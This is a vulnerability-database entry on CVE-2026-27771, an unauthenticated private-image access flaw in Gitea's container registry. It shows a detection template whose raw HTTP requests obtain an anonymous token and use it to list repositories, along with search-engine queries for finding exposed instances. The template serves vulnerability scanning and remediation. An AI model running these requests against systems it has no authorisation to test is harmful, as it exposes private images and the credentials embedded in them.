| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Exploit for CVE-2026-27771 | 27 May 202615:54 | – | githubexploit | |
| CVE-2026-27771 | 3 Jul 202620:19 | – | attackerkb | |
| The vulnerability of the access control model for the container registry in the Git repository management system Gitea allows a perpetrator to gain unauthorized access to protected information. | 29 May 202600:00 | – | bdu_fstec | |
| CVE-2026-27771 | 27 May 202608:06 | – | circl | |
| CVE-2026-27771 | 3 Jul 202620:19 | – | cve | |
| CVE-2026-27771 Gitea Composer package source links use insufficient permission checks | 3 Jul 202620:19 | – | cvelist | |
| EUVD-2026-41635 | 3 Jul 202620:19 | – | euvd | |
| gitea -- multiple vulnerabilities | 20 May 202600:00 | – | freebsd | |
| FreeBSD : gitea -- multiple vulnerabilities (f00e2de8-7d30-48d2-a43d-68206347dea6) | 29 Jun 202600:00 | – | nessus | |
| CVE-2026-27771 | 3 Jul 202621:16 | – | nvd |
id: CVE-2026-27771
info:
name: Gitea Container Registry - Unauthorized Private Image Access
author: DhiyaneshDk
severity: high
description: |
Gitea < 1.26.2 allows unauthenticated remote attackers to pull private container images.The /v2/token endpoint grants anonymous ghost tokens (UserID:-1) with no scope restriction.The ReqContainerAccess middleware does not check package owner visibility, so ghost users can enumerate all container repositories via /_catalog and pull any private image layer.
impact: |
Unauthenticated attackers can exfiltrate proprietary application source code, embedded secrets (API keys, database credentials, cloud provider keys), and internal infrastructure configuration from private container images.
remediation: |
Upgrade to Gitea >= 1.26.2. As a temporary workaround, set REQUIRE_SIGNIN_VIEW=true in gitea app.ini, though this blocks all anonymous access including public repos.
reference:
- https://blog.gitea.com/release-of-1.26.2/
- https://github.com/go-gitea/gitea/pull/37290
- https://github.com/go-gitea/gitea/pull/37610
- https://orca.security/resources/blog/gitea-container-registry-vulnerability/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-27771
epss-score: 0.40738
epss-percentile: 0.9848
cwe-id: CWE-862
metadata:
verified: true
max-request: 2
vendor: gitea
product: gitea
shodan-query: http.html:"Gitea"
fofa-query: app="Gitea"
tags: cve,cve2026,gitea,container,registry,auth-bypass,unauth
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /v2/ HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 401'
internal: true
- raw:
- |
GET /v2/token?service=container_registry&scope=* HTTP/1.1
Host: {{Hostname}}
Accept: application/json
extractors:
- type: regex
name: token
part: body
group: 1
regex:
- '"token":"([^"]+)"'
internal: true
- raw:
- |
GET /v2/_catalog HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Accept: application/json
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"repositories"'
- type: regex
part: body
regex:
- '"repositories":\s*\[".+'
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- '"repositories":\s*(\[.*\])'
# digest: 490a004630440220324cdaace3df6ebfb52663f8198bc27422fa8b44743de65efea2c265dcadff830220731fb933c41e602a2df9e7efb7867e2cb817fe00b2e71321c1948ac37566c717:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation